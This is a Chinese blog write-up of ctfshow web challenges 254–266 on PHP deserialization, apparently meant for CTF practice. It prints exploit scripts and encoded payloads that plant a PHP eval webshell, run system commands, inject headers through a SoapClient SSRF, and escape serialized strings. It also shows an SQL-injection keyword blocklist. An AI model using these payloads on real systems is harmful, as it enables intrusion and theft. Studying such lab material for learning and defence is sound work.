ctfshow_web入门 反序列化(254~266)

要是没接触过的师傅们,可以先看看这个

web 254

这个题没有考什么,get方式传入payload即可,这里xxxxxx,就是6gex而已

payload:

?username=xxxxxx&password=xxxxxx

web 255

highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }

审计代码,发现,可以从cookie的user中传入payload实例化字符串,同样需要isVip=True

<?php class ctfShowUser{ public $username='1'; public $password='2'; public $isVip=True; } $c=new ctfShowUser(); echo urlencode(serialize($c));

由于cookie中将"作为截断符号,所需要编码绕过,这里采用url编码

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image-20210825180936746

最后访问/?username=1&password=2得到flag

web 256

题目

highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }

额,这里只是不让username和password相等即可

白嫖255payload即可

web 257

<? class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }

首先寻找一下unserialize函数,顺带看了一下流程。接下来找了顺便看了一下哪里能够拿到flag。但是没有找到。

在审计的过程中,看到在backdoor类中,看到了eval,于是寻找哪里能够控制code和引用back::getInfo();ctfshowuser类中的destruct中看到$this->class->getInfo();。于是想,从ctfshowuser::destruct中引用backdoor::getInfo()backdoor::code就是变量。

exp:

<?php class ctfShowUser{ private $username='1'; private $password='2'; private $isVip=false; private $class; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code="system('tac flag.php');"; } $c=new ctfShowUser(); echo urlencode(serialize($c));

payload:

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%221%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%222%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

最后访问/?username=1&password=2得到flag

在类中嵌套类,需要初始化,所以使用__construact函数进行初始化赋值

web 258——绕过正则

class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }

和257差不多,这里用了/[oc]:\d+:/来过滤,我们给数字加上+来绕过。

至于为什么用加号,额,函数定义就是这么写的,如果是+那么也能正常执行(以前看到其他解释说的是,+1和1没区别,但是没有说这里C实现的过程)

image-20210825214516128

这里使用一句话木马,上面那个,额,没想到

exp

<?php class ctfShowUser{ public $username='1'; public $password='2'; public $isVip=True; public $class; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code='eval($_POST[1]);'; } $c=serialize(new ctfShowUser()); $b=str_replace(':11',':+11',$c); $b=str_replace(':8',':+8',$b); echo urlencode($b);

image-20210825211616599

这题卡了很久,因为我是复制粘贴257来修改的,没有注意到属性,,,,

web 259——ssrf

不懂,去找个wp,所以本题是直接抄的。

flag.php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();

如果调用一个没有定义的方法,那么就会使用类本身的call方法。由于给了个ssrf的代码,那么河里推断这是一个ssrf的原生类。

看完了大师傅的视频,大概明白要赶个什么了。顺便说一句,大师傅太顶了!!!

我这里就在kali中做测试了,因为不想在本机上下载nc工具。

额,在kali中,还需要把soap的PHP扩展下载一下。这就比Windows可能方便很多了(只针对我个人嘛),因为我在Windows中装了一个PHP环境,用的不是phpstudy那边的PHP,所以自己添加外包可能有点麻烦,最主要还是是因为不想在Windows上装nc;

写得多,但是仔细看完就没什么了

安装扩展包

  1. 首先查看一下有没有soap包扩展(应该是没有的)
nl /etc/php/7.4/apache2/php.ini|grep soap
  1. 下载外包(根据自己的机器上的版本下载)
apt-get install php7.4-soap
  1. 再查看一下soap包扩展
nl /etc/php/7.4/apache2/php.ini|grep soap

这个时候,应该是能够查看到的,效果如下,也有可能要等一下

image-20210826112440582

可以看到;extension=soap,说明soap扩展已经下载好了,接下来只需要将;去除即可。这样也就算了下载且添加进了PHP中,可以使用了。

接下来回到题目

在kali中打开nc工具监听一个端口,开一个终端来跑代码;打开web259.php文件(自己写的),布局可以参考一下下面的。

image-20210826113734516

在web259.php中写入代码,(代码不全,因为是一步一步来的,我是希望将题目笔记尽量做细致一点,后来复习的时候也能看懂)

<?php $ua="ctfshow"; $client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1:8181","location"=>"http://127.0.0.1:8181/flag.php","user_agent"=>$ua)); $client->getFlag();

开启nc侦听8181端口,接着运行web259.php,从nc工具中可以看到侦听到的数据User-Agent: ctfshow,注入的user-agent已经成功了。(目前进度大概是60%)

image-20210826115046544

看题目:

  1. 题目要从X-Forwarded-For中获取ip。
    将X-Forwarded-For按照,分为数组,接着array_pop第一个元素,最后用第二个元素来作为ip;

所以构造

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1"
  1. 题目要求是post传入的参数,所以要构造一个post表单传入参数token=ctfshow

所以构造

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";

因为设置了Content-Length=13,所以只取后面13位,也就恰好吧token=ctfshow取完就停止;十分的严格。顺便补一句,反序列化的规矩也是10分的严格。

image-20210826180306005

由于本地应该是80或者是8080端口,把:8181去掉就行了,利用默认端口进去;

最后exp是:

<?php $ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow"; $client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua)); /*$client->getFlag();*/ echo urlencode(serialize($client));

payload:

url?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问url/flag.txt拿到flag

image-20210826180749918

这个题,就做完了。师傅们太顶了,顶呱呱;

web 260

???,没仔细看,get传入ctfshow=ctfshow_i_love_36D就拿到了

是对传入的字符串进行序列化,然后检测有没有ctfshow_i_love_36D

image-20210826180957076

web 261

<?php highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);

审计代码发现:

  1. 有__unserialize(),在7.4以上版本反序列化会绕过__wakeup()函数。
  2. 在destruct()函数中,有file_put_contents可以写入文件,一句话木马儿
  3. $this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877,那么877a877.php等可以通过比较;所以设置username='877.php'来通过比较

所以exp:

<?php class ctfshowvip{ public $username='877.php'; public $password='<?php eval($_POST[1]);?>'; public $code=0x36d; public function __invoke(){ eval($this->code); } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } $c=new ctfshowvip(); echo serialize($c);

payload:

url/?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:4:"code";i:877;}

访问url/877.php执行一句话木马,1=system('cat /flag_is_here');拿到flag

image-20210826185308722

261还说是打redis,吓了一跳。。。

web 262——字符串逃逸_部分替换

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);

先审计一下代码,发现:

  1. fuck会被替换为loveU
  2. 没有看到能够利用的函数或者是和flag有关的,不过找到message.php,(建议上午或者下午做题,晚上貌似是做题巅峰,是在是卡)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }

再审计之后发现,貌似可以直接从message.php这里,只需要看这么一段,就行了,也不用逃逸了,,,,

if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }

上分做法:

<?php class message{ public $from; public $msg; public $to; public $token='admin'; } $m=new message(); echo base64_encode(serialize($m));

payload:

msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

在message.php页面中,F12,cookie添加msg,刷新,拿到flag

image-20210826190738048

字符串逃逸

首先要知道这里是将fuck修改成了loveU,由4个字符长度,变成了5个,长度发生了变化,导致了反序列化字符串结构改变。

我们知道,反序列化过程十分的严格,多读取一个,或者是少读取一个都是不被允许,会报错的。一旦长度有了变化,那么就会报错。加入我们精心构造一个字符串,那么不但不会报错,而且还能够拿到flag。

看了message.php我们知道,只需传入的payload在反序列化的时候,反出来一个token=admin,就行。

这是用来测试的文件

<?php class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); echo $umsg;echo "<br>"; var_dump(unserialize($umsg));#如果反序列化成功,就会输出结果,没结果就是bool(false)

首先拿到一个正常的,反序列化字符串

image-20210826215821389

取末尾几位:";s:5:"token";s:5:"admin";},这长度为27

image-20210826215929871

我们于是我们构造:t=3";s:5:"token";s:5:"admin";}

image-20210826220238201

此时,用fuck来进行测试:&t=fuck";s:5:"token";s:5:"admin";},将fuck放在前面

image-20210826221949657

由于长度变化了,反序列化也会失败。

image-20210826222952524

看到了fuck编程loveU,长度由31变成了32,抵出去了一个字符的位置。

由于字符串是一个一个读取的,所以这里被抵出去的是}

image-20210826223113533

一个fuck会抵出去一个位置,那么两个fuck就会抵出去两个(** :}**)位置;

假如";s:5:"token";s:5:"admin";}被抵出去了,那么就能够恰好的满足反序列化的条件了。

所以,有多少个fuck就会抵出去多少个位置;就需要len(";s:5:"token";s:5:"admin";})个fuck,也就是27个。

image-20210826223814021

最后构造得到

t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image-20210826221637405

拿到这个构造的payload,在题目中提交

image-20210826224356928

url?f=1&m=3&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image-20210826224415247

访问url/message.php拿到flag

image-20210826224448377

文辞有限,笔墨仅限于此。

没有说清楚的话,请移步大师傅的视频讲解

web 253

dirsearch扫描发现www.zip,看来是seesion反序列化了,

<?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); use \CTFSHOW\CTFSHOW; require_once 'CTFSHOW.php'; $db = new CTFSHOW([ 'database_type' => 'mysql', 'database_name' => 'web', 'server' => 'localhost', 'username' => 'root', 'password' => 'root', 'charset' => 'utf8', 'port' => 3306, 'prefix' => '', 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]); // sql注入检查 function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str); } } class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } } /*生成唯一标志 *标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12) */ function uuid() { $chars = md5(uniqid(mt_rand(), true)); $uuid = substr ( $chars, 0, 8 ) . '-' . substr ( $chars, 8, 4 ) . '-' . substr ( $chars, 12, 4 ) . '-' . substr ( $chars, 16, 4 ) . '-' . substr ( $chars, 20, 12 ); return $uuid ; }

想了一下,突然意识到,貌似session反序列化可以直接把session中能反的给了;

人给我做傻了这题,不知道是不是因为开局就输入账号密码错误了几次,导致后来的cookie没有写入给整自闭了。所以查看cookie,limit一直是1。就有点不明所以了。

当然,我也是看了大师傅的视频才做了出来的,点击跳转

审计代码:

找到,当user类被析构的时候,会有file_put_content的,执行,借此可以吸入一句话木马;

web 264

session的反序列化字符串逃逸,其实和262没有区别,把262payload拿过来用就行;只是需要再设置一个msg的cookie,即可

image-20210827113527451

这个题没有设置session反序列化的处理器,那就是磨人的,也就和平时反序列化代码的模式一样。所以这里可以按照262的方式去理解

web 265——引用

<? include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }

由于mt_rand()预测不了,我预测不了,万一有大佬能预测呢,,,且md5(mt_rand())确实预测不了。

可以利用引用的方式,将password赋值为token的引用

exp

<?php class ctfshowAdmin{ public $token; public $password; public function __construct(){ $this->password=&$this->token; } } $c=new ctfshowAdmin(); echo (serialize($c));echo"\n";

payload:

url/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

web 266——伪协议,正则绕过

include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }

审计代码:

发现,反序列话的是$cs=file_get_contnets(php://input),同时在__destruct中有输出flag的语句。暗示了要找个机会传入一个ctfshow类进去。恰好看到$cs对字符串ctfshow过滤了,也就明示了要传入ctfshow类的字符串给cs。这题就差把flag顺手给提交了。

php://input伪协议是post输入的参数。首先拿到一个ctfshow类的反序列化字符串;

<?php class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; } $c=new ctfshow(); echo serialize($c);

得到

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

利用burp传值;在hackbar中,post不能传入单个字符串,必须是以a=b形式传入,只传入b是不行的,所以要利用到burp,抓包,改值。

image-20210827152948073

由于过滤了ctfshow但是我这里用的是cTFSHOW,在PHP中,类不区分大小写;所以绕过了过滤。

如果进入了判断,就会异常,然后不执行析构函数。

破坏结构进行析构

就是说,传入一个破坏了反序列化字符串结构的字符串进去,使得,即使异常了,也会析构。

新看到方法,太顶了,就看不懂为什么。。。。

image-20210827154424361

魔术方法

1.__construct() 触发条件:new一个实例化对象的时候 作用:初始化函数,对类进行初始化,同时也可以执行其它语句 2.__desturct() 触发条件:销毁一个实例化对象的时候 作用:析构函数,对实例化对象销毁,同时也可以执行其它语句 3.__wakeup() 触发条件:反序列化时触发 作用:额,就是调用一下,函数有什么功能这是自己定义的 4.__sleep() 触发条件:序列化的时候触发 作用:额,就是调用一下,函数有什么功能这是自己定义的 5.__invoke 作用:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 例如:class Ctfshow,然后使用$Ctfshow();时被调用 3.__unserialize() 触发条件:7.4以上版本,反序列化时触发,且绕过__wakeup()

如果有写得不对的地方,斗胆请师傅们斧正


__EOF__

本文作者upstream_yu
本文链接https://www.cnblogs.com/upstream-yu/p/15194626.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   upstream_yu  阅读(3016)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示